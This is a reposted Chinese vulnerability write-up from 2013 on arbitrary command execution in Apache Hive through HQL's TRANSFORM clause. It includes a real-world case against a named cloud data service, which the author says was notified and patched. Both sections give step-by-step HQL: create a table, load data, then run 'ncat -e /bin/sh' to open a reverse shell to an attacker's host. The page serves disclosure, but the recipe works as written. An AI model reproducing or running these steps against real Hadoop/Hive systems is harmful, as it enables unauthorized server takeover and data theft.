您的位置:首页 > 编程语言

Hive任意命令/代码执行漏洞+渗透实例

2013-02-17 11:20 916 查看
Author: kindle

Date: 2013-02-9

Hive是建立在 Hadoop 上的数据仓库基础构架。它提供了一系列的工具,可以用来进行数据提取转化加载(ETL),这是一种可以存储、查询和分析存储在 Hadoop 中的大规模数据的机制。Hive 定义了简单的类 SQL 查询语言,称为 QL,它允许熟悉 SQL 的用户查询数据。同时,这个语言也允许熟悉 MapReduce 开发者的开发自定义的 mapper 和 reducer 来处理内建的 mapper 和 reducer 无法完成的复杂的分析工作。

漏洞详情

HQL可以通过transform自定义Hive使用的 Map/Reduce 脚本,从而调用shell/python等语言,导致攻击者可以通过hive接口等相关操作方式直接获取服务器权限

测试代码

cat /root/test

1 test

创建测试表

create table if not exists kindle(id int,test string);

通过transform来自定义hive使用的shell命令,反弹shell

select transform(id) USING ‘/usr/bin/ncat -e /bin/sh ip port’ from kindle;

删除测试表

drop table kindle;



漏洞状态

通知了部分大公司,尚未联系官方

————————————————————————————-邪恶的分割线————————————————————————————-

实战案例

测试Treasure Data集群(Hadoop-based Big Data as a Service on the Cloud | Treasure Data)

过程









修复状态

已经通知Treasure Data官方,修补好了,如下图官方的回复





新建/root/test文件,内容是1(或者任意int型数字)

创建测试表

create table if not exists kindle(id int);

导入数据(这步很关键,没数据无法触发漏洞)

LOAD DATA LOCAL INPATH ‘/root/test’ INTO TABLE kindle;

通过transform来自定义hive使用的shell命令,反弹shell

select transform(id) USING ‘/usr/bin/ncat -e /bin/sh ip port’ from kindle;

删除测试表

drop table kindle;
http://www.sectop.org/2013/02/treasure-data-hive-vuln/
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: